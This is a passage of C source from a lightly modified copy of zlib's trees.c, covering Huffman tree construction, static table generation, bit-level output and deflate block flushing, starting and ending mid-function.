send_bits(s, tree[c].Code, tree[c].Len); }
#endif
/* ===========================================================================
* Output a short LSB first on the stream.
* IN assertion: there is enough room in pendingBuf.
*/
#define put_short(s, w) { \
put_byte(s, (uch)((w) & 0xff)); \
put_byte(s, (uch)((ush)(w) >> 8)); \
}
/* ===========================================================================
* Send a value on a given number of bits.
* IN assertion: length <= 16 and value fits in length bits.
*/
#ifdef DEBUG
local void send_bits OF((deflate_state *s, int value, int length));
local void send_bits(s, value, length)
deflate_state *s;
int value; /* value to send */
int length; /* number of bits */
{
Tracevv((stderr," l %2d v %4x ", length, value));
Assert(length > 0 && length <= 15, "invalid length");
s->bits_sent += (ulg)length;
/* If not enough room in bi_buf, use (valid) bits from bi_buf and
* (16 - bi_valid) bits from value, leaving (width - (16-bi_valid))
* unused bits in value.
*/
if (s->bi_valid > (int)Buf_size - length) {
s->bi_buf |= (ush)value << s->bi_valid;
put_short(s, s->bi_buf);
s->bi_buf = (ush)value >> (Buf_size - s->bi_valid);
s->bi_valid += length - Buf_size;
} else {
s->bi_buf |= (ush)value << s->bi_valid;
s->bi_valid += length;
}
}
#else /* !DEBUG */
#define send_bits(s, value, length) \
{ int len = length;\
if (s->bi_valid > (int)Buf_size - len) {\
int val = value;\
s->bi_buf |= (ush)val << s->bi_valid;\
put_short(s, s->bi_buf);\
s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\
s->bi_valid += len - Buf_size;\
} else {\
s->bi_buf |= (ush)(value) << s->bi_valid;\
s->bi_valid += len;\
}\
}
#endif /* DEBUG */
/* the arguments must not have side effects */
/* ===========================================================================
* Initialize the various 'constant' tables.
*/
local void tr_static_init()
{
#if defined(GEN_TREES_H) || !defined(STDC)
static int static_init_done = 0;
int n; /* iterates over tree elements */
int bits; /* bit counter */
int length; /* length value */
int code; /* code value */
int dist; /* distance index */
ush bl_count[MAX_BITS+1];
/* number of codes at each bit length for an optimal tree */
if (static_init_done) return;
/* For some embedded targets, global variables are not initialized: */
#ifdef NO_INIT_GLOBAL_POINTERS
static_l_desc.static_tree = static_ltree;
static_l_desc.extra_bits = extra_lbits;
static_d_desc.static_tree = static_dtree;
static_d_desc.extra_bits = extra_dbits;
static_bl_desc.extra_bits = extra_blbits;
#endif
/* Initialize the mapping length (0..255) -> length code (0..28) */
length = 0;
for (code = 0; code < LENGTH_CODES-1; code++) {
base_length[code] = length;
for (n = 0; n < (1<<extra_lbits[code]); n++) {
_length_code[length++] = (uch)code;
}
}
Assert (length == 256, "tr_static_init: length != 256");
/* Note that the length 255 (match length 258) can be represented
* in two different ways: code 284 + 5 bits or code 285, so we
* overwrite length_code[255] to use the best encoding:
*/
_length_code[length-1] = (uch)code;
/* Initialize the mapping dist (0..32K) -> dist code (0..29) */
dist = 0;
for (code = 0 ; code < 16; code++) {
base_dist[code] = dist;
for (n = 0; n < (1<<extra_dbits[code]); n++) {
_dist_code[dist++] = (uch)code;
}
}
Assert (dist == 256, "tr_static_init: dist != 256");
dist >>= 7; /* from now on, all distances are divided by 128 */
for ( ; code < D_CODES; code++) {
base_dist[code] = dist << 7;
for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) {
_dist_code[256 + dist++] = (uch)code;
}
}
Assert (dist == 256, "tr_static_init: 256+dist != 512");
/* Construct the codes of the static literal tree */
for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0;
n = 0;
while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++;
while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++;
while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++;
while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++;
/* Codes 286 and 287 do not exist, but we must include them in the
* tree construction to get a canonical Huffman tree (longest code
* all ones)
*/
gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count);
/* The static distance tree is trivial: */
for (n = 0; n < D_CODES; n++) {
static_dtree[n].Len = 5;
static_dtree[n].Code = bi_reverse((unsigned)n, 5);
}
static_init_done = 1;
# ifdef GEN_TREES_H
gen_trees_header();
# endif
#endif /* defined(GEN_TREES_H) || !defined(STDC) */
}
/* ===========================================================================
* Genererate the file trees.h describing the static trees.
*/
#ifdef GEN_TREES_H
# ifndef DEBUG
# include <stdio.h>
# endif
# define SEPARATOR(i, last, width) \
((i) == (last)? "\n};\n\n" : \
((i) % (width) == (width)-1 ? ",\n" : ", "))
void gen_trees_header()
{
FILE *header = fopen("trees.h", "w");
int i;
Assert (header != NULL, "Can't open trees.h");
fprintf(header,
"/* header created automatically with -DGEN_TREES_H */\n\n");
fprintf(header, "local const ct_data static_ltree[L_CODES+2] = {\n");
for (i = 0; i < L_CODES+2; i++) {
fprintf(header, "{{%3u},{%3u}}%s", static_ltree[i].Code,
static_ltree[i].Len, SEPARATOR(i, L_CODES+1, 5));
}
fprintf(header, "local const ct_data static_dtree[D_CODES] = {\n");
for (i = 0; i < D_CODES; i++) {
fprintf(header, "{{%2u},{%2u}}%s", static_dtree[i].Code,
static_dtree[i].Len, SEPARATOR(i, D_CODES-1, 5));
}
fprintf(header, "const uch ZLIB_INTERNAL _dist_code[DIST_CODE_LEN] = {\n");
for (i = 0; i < DIST_CODE_LEN; i++) {
fprintf(header, "%2u%s", _dist_code[i],
SEPARATOR(i, DIST_CODE_LEN-1, 20));
}
fprintf(header,
"const uch ZLIB_INTERNAL _length_code[MAX_MATCH-MIN_MATCH+1]= {\n");
for (i = 0; i < MAX_MATCH-MIN_MATCH+1; i++) {
fprintf(header, "%2u%s", _length_code[i],
SEPARATOR(i, MAX_MATCH-MIN_MATCH, 20));
}
fprintf(header, "local const int base_length[LENGTH_CODES] = {\n");
for (i = 0; i < LENGTH_CODES; i++) {
fprintf(header, "%1u%s", base_length[i],
SEPARATOR(i, LENGTH_CODES-1, 20));
}
fprintf(header, "local const int base_dist[D_CODES] = {\n");
for (i = 0; i < D_CODES; i++) {
fprintf(header, "%5u%s", base_dist[i],
SEPARATOR(i, D_CODES-1, 10));
}
fclose(header);
}
#endif /* GEN_TREES_H */
/* ===========================================================================
* Initialize the tree data structures for a new zlib stream.
*/
void ZLIB_INTERNAL _tr_init(s)
deflate_state *s;
{
tr_static_init();
s->l_desc.dyn_tree = s->dyn_ltree;
s->l_desc.stat_desc = &static_l_desc;
s->d_desc.dyn_tree = s->dyn_dtree;
s->d_desc.stat_desc = &static_d_desc;
s->bl_desc.dyn_tree = s->bl_tree;
s->bl_desc.stat_desc = &static_bl_desc;
s->bi_buf = 0;
s->bi_valid = 0;
#ifdef DEBUG
s->compressed_len = 0L;
s->bits_sent = 0L;
#endif
/* Initialize the first block of the first file: */
init_block(s);
}
/* ===========================================================================
* Initialize a new block.
*/
local void init_block(s)
deflate_state *s;
{
int n; /* iterates over tree elements */
/* Initialize the trees. */
for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0;
for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0;
for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0;
s->dyn_ltree[END_BLOCK].Freq = 1;
s->opt_len = s->static_len = 0L;
s->last_lit = s->matches = 0;
}
#define SMALLEST 1
/* Index within the heap array of least frequent node in the Huffman tree */
/* ===========================================================================
* Remove the smallest element from the heap and recreate the heap with
* one less element. Updates heap and heap_len.
*/
#define pqremove(s, tree, top) \
{\
top = s->heap[SMALLEST]; \
s->heap[SMALLEST] = s->heap[s->heap_len--]; \
pqdownheap(s, tree, SMALLEST); \
}
/* ===========================================================================
* Compares to subtrees, using the tree depth as tie breaker when
* the subtrees have equal frequency. This minimizes the worst case length.
*/
#define smaller(tree, n, m, depth) \
(tree[n].Freq < tree[m].Freq || \
(tree[n].Freq == tree[m].Freq && depth[n] <= depth[m]))
/* ===========================================================================
* Restore the heap property by moving down the tree starting at node k,
* exchanging a node with the smallest of its two sons if necessary, stopping
* when the heap property is re-established (each father smaller than its
* two sons).
*/
local void pqdownheap(s, tree, k)
deflate_state *s;
ct_data *tree; /* the tree to restore */
int k; /* node to move down */
{
int v = s->heap[k];
int j = k << 1; /* left son of k */
while (j <= s->heap_len) {
/* Set j to the smallest of the two sons: */
if (j < s->heap_len &&
smaller(tree, s->heap[j+1], s->heap[j], s->depth)) {
j++;
}
/* Exit if v is smaller than both sons */
if (smaller(tree, v, s->heap[j], s->depth)) break;
/* Exchange v with the smallest son */
s->heap[k] = s->heap[j]; k = j;
/* And continue down the tree, setting j to the left son of k */
j <<= 1;
}
s->heap[k] = v;
}
/* ===========================================================================
* Compute the optimal bit lengths for a tree and update the total bit length
* for the current block.
* IN assertion: the fields freq and dad are set, heap[heap_max] and
* above are the tree nodes sorted by increasing frequency.
* OUT assertions: the field len is set to the optimal bit length, the
* array bl_count contains the frequencies for each bit length.
* The length opt_len is updated; static_len is also updated if stree is
* not null.
*/
local void gen_bitlen(s, desc)
deflate_state *s;
tree_desc *desc; /* the tree descriptor */
{
ct_data *tree = desc->dyn_tree;
int max_code = desc->max_code;
const ct_data *stree = desc->stat_desc->static_tree;
const intf *extra = desc->stat_desc->extra_bits;
int base = desc->stat_desc->extra_base;
int max_length = desc->stat_desc->max_length;
int h; /* heap index */
int n, m; /* iterate over the tree elements */
int bits; /* bit length */
int xbits; /* extra bits */
ush f; /* frequency */
int overflow = 0; /* number of elements with bit length too large */
for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0;
/* In a first pass, compute the optimal bit lengths (which may
* overflow in the case of the bit length tree).
*/
tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */
for (h = s->heap_max+1; h < HEAP_SIZE; h++) {
n = s->heap[h];
bits = tree[tree[n].Dad].Len + 1;
if (bits > max_length) bits = max_length, overflow++;
tree[n].Len = (ush)bits;
/* We overwrite tree[n].Dad which is no longer needed */
if (n > max_code) continue; /* not a leaf node */
s->bl_count[bits]++;
xbits = 0;
if (n >= base) xbits = extra[n-base];
f = tree[n].Freq;
s->opt_len += (ulg)f * (bits + xbits);
if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits);
}
if (overflow == 0) return;
Trace((stderr,"\nbit length overflow\n"));
/* This happens for example on obj2 and pic of the Calgary corpus */
/* Find the first bit length which could increase: */
do {
bits = max_length-1;
while (s->bl_count[bits] == 0) bits--;
s->bl_count[bits]--; /* move one leaf down the tree */
s->bl_count[bits+1] += 2; /* move one overflow item as its brother */
s->bl_count[max_length]--;
/* The brother of the overflow item also moves one step up,
* but this does not affect bl_count[max_length]
*/
overflow -= 2;
} while (overflow > 0);
/* Now recompute all bit lengths, scanning in increasing frequency.
* h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
* lengths instead of fixing only the wrong ones. This idea is taken
* from 'ar' written by Haruhiko Okumura.)
*/
for (bits = max_length; bits != 0; bits--) {
n = s->bl_count[bits];
while (n != 0) {
m = s->heap[--h];
if (m > max_code) continue;
if ((unsigned) tree[m].Len != (unsigned) bits) {
Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits));
s->opt_len += ((long)bits - (long)tree[m].Len)
*(long)tree[m].Freq;
tree[m].Len = (ush)bits;
}
n--;
}
}
}
/* ===========================================================================
* Generate the codes for a given tree and bit counts (which need not be
* optimal).
* IN assertion: the array bl_count contains the bit length statistics for
* the given tree and the field len is set for all tree elements.
* OUT assertion: the field code is set for all tree elements of non
* zero code length.
*/
local void gen_codes (tree, max_code, bl_count)
ct_data *tree; /* the tree to decorate */
int max_code; /* largest code with non zero frequency */
ushf *bl_count; /* number of codes at each bit length */
{
ush next_code[MAX_BITS+1]; /* next code value for each bit length */
ush code = 0; /* running code value */
int bits; /* bit index */
int n; /* code index */
/* The distribution counts are first used to generate the code values
* without bit reversal.
*/
for (bits = 1; bits <= MAX_BITS; bits++) {
next_code[bits] = code = (code + bl_count[bits-1]) << 1;
}
/* Check that the bit counts in bl_count are consistent. The last code
* must be all ones.
*/
Assert (code + bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,
"inconsistent bit counts");
Tracev((stderr,"\ngen_codes: max_code %d ", max_code));
for (n = 0; n <= max_code; n++) {
int len = tree[n].Len;
if (len == 0) continue;
/* Now reverse the bits */
tree[n].Code = bi_reverse(next_code[len]++, len);
Tracecv(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ",
n, (isgraph(n) ? n : ' '), len, tree[n].Code, next_code[len]-1));
}
}
/* ===========================================================================
* Construct one Huffman tree and assigns the code bit strings and lengths.
* Update the total bit length for the current block.
* IN assertion: the field freq is set for all tree elements.
* OUT assertions: the fields len and code are set to the optimal bit length
* and corresponding code. The length opt_len is updated; static_len is
* also updated if stree is not null. The field max_code is set.
*/
local void build_tree(s, desc)
deflate_state *s;
tree_desc *desc; /* the tree descriptor */
{
ct_data *tree = desc->dyn_tree;
const ct_data *stree = desc->stat_desc->static_tree;
int elems = desc->stat_desc->elems;
int n, m; /* iterate over heap elements */
int max_code = -1; /* largest code with non zero frequency */
int node; /* new node being created */
/* Construct the initial heap, with least frequent element in
* heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
* heap[0] is not used.
*/
s->heap_len = 0, s->heap_max = HEAP_SIZE;
for (n = 0; n < elems; n++) {
if (tree[n].Freq != 0) {
s->heap[++(s->heap_len)] = max_code = n;
s->depth[n] = 0;
} else {
tree[n].Len = 0;
}
}
/* The pkzip format requires that at least one distance code exists,
* and that at least one bit should be sent even if there is only one
* possible code. So to avoid special checks later on we force at least
* two codes of non zero frequency.
*/
while (s->heap_len < 2) {
node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0);
tree[node].Freq = 1;
s->depth[node] = 0;
s->opt_len--; if (stree) s->static_len -= stree[node].Len;
/* node is 0 or 1 so it does not have extra bits */
}
desc->max_code = max_code;
/* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
* establish sub-heaps of increasing lengths:
*/
for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n);
/* Construct the Huffman tree by repeatedly combining the least two
* frequent nodes.
*/
node = elems; /* next internal node of the tree */
do {
pqremove(s, tree, n); /* n = node of least frequency */
m = s->heap[SMALLEST]; /* m = node of next least frequency */
s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */
s->heap[--(s->heap_max)] = m;
/* Create a new node father of n and m */
tree[node].Freq = tree[n].Freq + tree[m].Freq;
s->depth[node] = (uch)((s->depth[n] >= s->depth[m] ?
s->depth[n] : s->depth[m]) + 1);
tree[n].Dad = tree[m].Dad = (ush)node;
#ifdef DUMP_BL_TREE
if (tree == s->bl_tree) {
fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)",
node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq);
}
#endif
/* and insert the new node in the heap */
s->heap[SMALLEST] = node++;
pqdownheap(s, tree, SMALLEST);
} while (s->heap_len >= 2);
s->heap[--(s->heap_max)] = s->heap[SMALLEST];
/* At this point, the fields freq and dad are set. We can now
* generate the bit lengths.
*/
gen_bitlen(s, (tree_desc *)desc);
/* The field len is now set, we can generate the bit codes */
gen_codes ((ct_data *)tree, max_code, s->bl_count);
}
/* ===========================================================================
* Scan a literal or distance tree to determine the frequencies of the codes
* in the bit length tree.
*/
local void scan_tree (s, tree, max_code)
deflate_state *s;
ct_data *tree; /* the tree to be scanned */
int max_code; /* and its largest code of non zero frequency */
{
int n; /* iterates over all tree elements */
int prevlen = -1; /* last emitted length */
int curlen; /* length of current code */
int nextlen = tree[0].Len; /* length of next code */
int count = 0; /* repeat count of the current code */
int max_count = 7; /* max repeat count */
int min_count = 4; /* min repeat count */
if (nextlen == 0) max_count = 138, min_count = 3;
tree[max_code+1].Len = (ush)0xffff; /* guard */
for (n = 0; n <= max_code; n++) {
curlen = nextlen; nextlen = tree[n+1].Len;
if (++count < max_count && curlen == nextlen) {
continue;
} else if (count < min_count) {
s->bl_tree[curlen].Freq += count;
} else if (curlen != 0) {
if (curlen != prevlen) s->bl_tree[curlen].Freq++;
s->bl_tree[REP_3_6].Freq++;
} else if (count <= 10) {
s->bl_tree[REPZ_3_10].Freq++;
} else {
s->bl_tree[REPZ_11_138].Freq++;
}
count = 0; prevlen = curlen;
if (nextlen == 0) {
max_count = 138, min_count = 3;
} else if (curlen == nextlen) {
max_count = 6, min_count = 3;
} else {
max_count = 7, min_count = 4;
}
}
}
/* ===========================================================================
* Send a literal or distance tree in compressed form, using the codes in
* bl_tree.
*/
local void send_tree (s, tree, max_code)
deflate_state *s;
ct_data *tree; /* the tree to be scanned */
int max_code; /* and its largest code of non zero frequency */
{
int n; /* iterates over all tree elements */
int prevlen = -1; /* last emitted length */
int curlen; /* length of current code */
int nextlen = tree[0].Len; /* length of next code */
int count = 0; /* repeat count of the current code */
int max_count = 7; /* max repeat count */
int min_count = 4; /* min repeat count */
/* tree[max_code+1].Len = -1; */ /* guard already set */
if (nextlen == 0) max_count = 138, min_count = 3;
for (n = 0; n <= max_code; n++) {
curlen = nextlen; nextlen = tree[n+1].Len;
if (++count < max_count && curlen == nextlen) {
continue;
} else if (count < min_count) {
do { send_code(s, curlen, s->bl_tree); } while (--count != 0);
} else if (curlen != 0) {
if (curlen != prevlen) {
send_code(s, curlen, s->bl_tree); count--;
}
Assert(count >= 3 && count <= 6, " 3_6?");
send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2);
} else if (count <= 10) {
send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3);
} else {
send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7);
}
count = 0; prevlen = curlen;
if (nextlen == 0) {
max_count = 138, min_count = 3;
} else if (curlen == nextlen) {
max_count = 6, min_count = 3;
} else {
max_count = 7, min_count = 4;
}
}
}
/* ===========================================================================
* Construct the Huffman tree for the bit lengths and return the index in
* bl_order of the last bit length code to send.
*/
local int build_bl_tree(s)
deflate_state *s;
{
int max_blindex; /* index of last bit length code of non zero freq */
/* Determine the bit length frequencies for literal and distance trees */
scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code);
scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code);
/* Build the bit length tree: */
build_tree(s, (tree_desc *)(&(s->bl_desc)));
/* opt_len now includes the length of the tree representations, except
* the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
*/
/* Determine the number of bit length codes to send. The pkzip format
* requires that at least 4 bit length codes be sent. (appnote.txt says
* 3 but the actual value used is 4.)
*/
for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) {
if (s->bl_tree[bl_order[max_blindex]].Len != 0) break;
}
/* Update opt_len to include the bit length tree and counts */
s->opt_len += 3*(max_blindex+1) + 5+5+4;
Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld",
s->opt_len, s->static_len));
return max_blindex;
}
/* ===========================================================================
* Send the header for a block using dynamic Huffman trees: the counts, the
* lengths of the bit length codes, the literal tree and the distance tree.
* IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
*/
local void send_all_trees(s, lcodes, dcodes, blcodes)
deflate_state *s;
int lcodes, dcodes, blcodes; /* number of codes for each tree */
{
int rank; /* index in bl_order */
Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
"too many codes");
Tracev((stderr, "\nbl counts: "));
send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */
send_bits(s, dcodes-1, 5);
send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */
for (rank = 0; rank < blcodes; rank++) {
Tracev((stderr, "\nbl code %2d ", bl_order[rank]));
send_bits(s, s->bl_tree[bl_order[rank]].Len, 3);
}
Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent));
send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */
Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent));
send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */
Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent));
}
/* ===========================================================================
* Send a stored block
*/
void ZLIB_INTERNAL _tr_stored_block(s, buf, stored_len, last)
deflate_state *s;
charf *buf; /* input block */
ulg stored_len; /* length of input block */
int last; /* one if this is the last block for a file */
{
send_bits(s, (STORED_BLOCK<<1)+last, 3); /* send block type */
#ifdef DEBUG
s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L;
s->compressed_len += (stored_len + 4) << 3;
#endif
copy_block(s, buf, (unsigned)stored_len, 1); /* with header */
}
/* ===========================================================================
* Flush the bits in the bit buffer to pending output (leaves at most 7 bits)
*/
void ZLIB_INTERNAL _tr_flush_bits(s)
deflate_state *s;
{
bi_flush(s);
}
/* ===========================================================================
* Send one empty static block to give enough lookahead for inflate.
* This takes 10 bits, of which 7 may remain in the bit buffer.
*/
void ZLIB_INTERNAL _tr_align(s)
deflate_state *s;
{
send_bits(s, STATIC_TREES<<1, 3);
send_code(s, END_BLOCK, static_ltree);
#ifdef DEBUG
s->compressed_len += 10L; /* 3 for block type, 7 for EOB */
#endif
bi_flush(s);
}
/* ===========================================================================
* Determine the best encoding for the current block: dynamic trees, static
* trees or store, and output the encoded block to the zip file.
*/
void ZLIB_INTERNAL _tr_flush_block(s, buf, stored_len, last)
deflate_state *s;
charf *buf; /* input block, or NULL if too old */
ulg stored_len; /* length of input block */
int last; /* one if this is the last block for a file */
{
ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */
int max_blindex = 0; /* index of last bit length code of non zero freq */
/* Build the Huffman trees unless a stored block is forced */
if (s->level > 0) {
/* Check if the file is binary or text */
if (s->strm->data_type == Z_UNKNOWN)
s->strm->data_type = detect_data_type(s);
/* Construct the literal and distance trees */
build_tree(s, (tree_desc *)(&(s->l_desc)));
Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len,
s->static_len));
build_tree(s, (tree_desc *)(&(s->d_desc)));
Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len,
s->static_len));
/* At this point, opt_len and static_len are the total bit lengths of
* the compressed block data, excluding the tree representations.
*/
/* Build the bit length tree for the above two trees, and get the index
* in bl_order of the last bit length code to send.
*/
max_blindex = build_bl_tree(s);
/* Determine the best encoding. Compute the block lengths in bytes. */
opt_lenb = (s->opt_len+3+7)>>3;
static_lenb = (s->static_len+3+7)>>3;
Tracev((stderr, "\nopt %" PRIuSIZE "(%" PRIuSIZE ") stat %" PRIuSIZE "(%" PRIuSIZE ") stored %" PRIuSIZE " lit %u ",
opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,
s->last_lit));
if (static_lenb <= opt_lenb) opt_lenb = static_lenb;
} else {
Assert(buf != (char*)0, "lost buf");
opt_lenb = static_lenb = stored_len + 5; /* force a stored block */
}
#ifdef FORCE_STORED
if (buf != (char*)0) { /* force stored block */
#else
if (stored_len+4 <= opt_lenb && buf != (char*)0) {
/* 4: two words for the lengths */
#endif
/* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
* Otherwise we can't have processed more than WSIZE input bytes since
* the last block flush, because compression would have been
* successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
* transform a block into a stored block.
*/
_tr_stored_block(s, buf, stored_len, last);
#ifdef FORCE_STATIC
} else if (static_lenb >= 0) { /* force static trees */
#else
} else if (s->strategy == Z_FIXED || static_lenb == opt_lenb) {
#endif
send_bits(s, (STATIC_TREES<<1)+last, 3);
compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree);
#ifdef DEBUG
s->compressed_len += 3 + s->static_len;
#endif
} else {
send_bits(s, (DYN_TREES<<1)+last, 3);
send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1,
max_blindex+1);
compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree);
#ifdef DEBUG
s->compressed_len += 3 + s->opt_len;
#endif
}
Assert (s->compressed_len == s->bits_sent, "bad compressed size");
/* The above check is made mod 2^32, for files larger than 512 MB
* and uLong implemented on 32 bits.
*/
init_block(s);
if (last) {
bi_windup(s);
#ifdef DEBUG
s->compressed_len += 7; /* align on byte boundary */
#endif
}
// RB begin
#ifdef _MSC_VER
Tracev((stderr,"\ncomprlen %Iu(%Iu) ", s->compressed_len>>3,
s->compressed_len-7*last));
#else
Tracev((stderr,"\ncomprlen %" PRIuSIZE "(%" PRIuSIZE ") ", s->compressed_len>>3,
s->compressed_len-7*last));
#endif
// RB end
}
/* ===========================================================================
* Save the match info and tally the frequency counts. Return true if
* the current block must be flushed.
*/
int ZLIB_INTERNAL _tr_tally (s, dist, lc)
deflate_state *s;
unsigned dist; /* distance of matched string */
unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */
{
s->d_buf[s->last_lit] = (ush)dist;
s->l_buf[s->last_lit++] = (uch)lc;
if (dist == 0) {
/* lc is the unmatched char */
s->dyn_ltree[lc].Freq++;
} else {
s->matches++;
/* Here, lc is the match length - MIN_MATCH */
dist--; /* dist = match distance - 1 */
Assert((ush)dist < (ush)MAX_DIST(s) &&
(ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&
(ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match");
s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++;
s->dyn_dtree[d_code(dist)].Freq++;
}
#ifdef TRUNCATE_BLOCK
/* Try to guess if it is profitable to stop the current block here */
if ((s->last_lit & 0x1fff) == 0 && s->level > 2) {
/* Compute an upper bound for the compressed length */
ulg out_length = (ulg)s->last_lit*8L;
ulg in_length = (ulg)((long)s->strstart - s->block_start);
int dcode;
for (dcode = 0; dcode < D_CODES; dcode++) {
out_length += (ulg)s->dyn_dtree[dcode].Freq *
(5L+extra_dbits[dcode]);
}
out_length >>= 3;
Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ",
s->last_lit, in_length, out_length,
100L - out_length*100L/in_length));
if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1;
}
#endif
return (s->last_lit == s->lit_bufsize-1);
/* We avoid equality with lit_bufsize because of wraparound at 64K
* on 16 bit machines and because stored blocks are restricted to
* 64K-1 bytes.
*/
}
/* ===========================================================================
* Send the block data compressed using the given Huffman trees
*/
local void compress_block(s, ltree, dtree)
deflate_state *s;
ct_data *ltree; /* literal tree */
ct_data *dtree; /* distance tree */
{
unsigned dist; /* distance of matched string */
int lc; /* match length or unmatched char (if dist == 0) */
unsigned lx = 0; /* running index in l_buf */
unsigned code; /* the code to send */
int extra; /* number of extra bits to send */
if (s->last_lit != 0) do {
dist = s->d_buf[lx];
lc = s->l_buf[lx++];
if (dist == 0) {
send_code(s, lc, ltree); /* send a literal byte */
Tracecv(isgraph(lc), (stderr," '%c' ", lc));
} else {
/* Here, lc is the match length - MIN_MATCH */
code = _length_code[lc];
send_code(s, code+LITERALS+1, ltree); /* send the length code */
extra = extra_lbits[code];
if (extra != 0) {
lc -= base_length[code];
send_bits(s, lc, extra); /* send the extra length bits */
}
dist--; /* dist is now the match distance - 1 */
code = d_code(dist);
Assert (code < D_CODES, "bad d_code");
send_code(s, code, dtree); /* send the distance code */
extra = extra_dbits[code];
if (extra != 0) {
dist -= base_dist[code];
send_bits(s, dist, extra); /* send the extra distance bits */
}
} /* literal or match pair ? */
/* Check that the overlay between pending_buf and d_buf+l_buf is ok: */
Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx,
"pendingBuf overflow");
} while (lx < s->last_lit);
send_code(s, END_BLOCK, ltree);
}
/* ===========================================================================
* Check if the data type is TEXT or BINARY, using the following algorithm:
* - TEXT if the two conditions below are satisfied:
* a) There are no non-portable control characters belonging to the
* "black list" (0..6, 14..25, 28..31).
* b) There is at least one printable character belonging to the
* "white list" (9 {TAB}, 10 {LF}, 13 {CR}, 32..255).
* - BINARY otherwise.
* - The following partially-portable control characters form a
* "gray list" that is ignored in this detection algorithm:
* (7 {BEL}, 8 {BS}, 11 {VT}, 12 {FF}, 26 {SUB}, 27 {ESC}).
* IN assertion: the fields Freq of dyn_ltree are set.
*/
local int detect_data_type(s)
deflate_state *s;
{
/* black_mask is the bit mask of black-listed bytes
* set bits 0..6, 14..25, and 28..31
* 0xf3ffc07f = binary 11110011111111111100000001111111
*/
unsigned long black_mask = 0xf3ffc07fUL;
int n;
/* Check for non-textual ("black-listed") bytes. */
for (n = 0; n <= 31; n++, black_mask >>= 1)
if ((black_mask & 1) && (s->dyn_ltree[n].Freq != 0))
return Z_BINARY;
/* Check for textual ("white-listed") bytes. */
if (s->dyn_ltree[9].Freq != 0 || s->dyn_ltree[10].Freq != 0
|| s->dyn_ltree[13].Freq != 0)
return Z_TEXT;
for (n = 32; n < LITERALS; n++)
if (s->dyn_ltree[n].Freq != 0)
return Z_TEXT;
/* There are no "black-listed" or "white-listed" bytes:
* this stream either is empty or has tolerated ("gray-listed") bytes only.
*/
return Z_BINARY;
}
/* ===========================================================================
* Reverse the first len bits of a code, using straightforward code (a faster
* method would use a table)
* IN assertion: 1 <= len <= 15
*/
local unsigned bi_reverse(code, len)
unsigned code; /* the value to invert */
int len; /* its bit length */
{
register unsigned res = 0;
do {
res |= code & 1;
code >>= 1, res <<= 1;
} while (--len > 0);
return res >> 1;
}
/* ===========================================================================
* Flush the bit buffer, keeping at most 7 bits in it.
*/
local void bi_flush(s)
deflate_state *s;
{
if (s->bi_valid == 16) {
put_short(s, s->bi_buf);
s->bi_buf = 0;
s->bi_valid = 0;
} else if (s->bi_valid >= 8) {
put_byte(s, (Byte)s->bi_buf);
s->bi_buf >>= 8;
s->bi_valid -= 8;
}
}
/* ===========================================================================
* Flush the bit buffer and align the output on a byte boundary
*/
local void bi_windup(s)
deflate_state *s;
{
if (s->bi_valid > 8) {
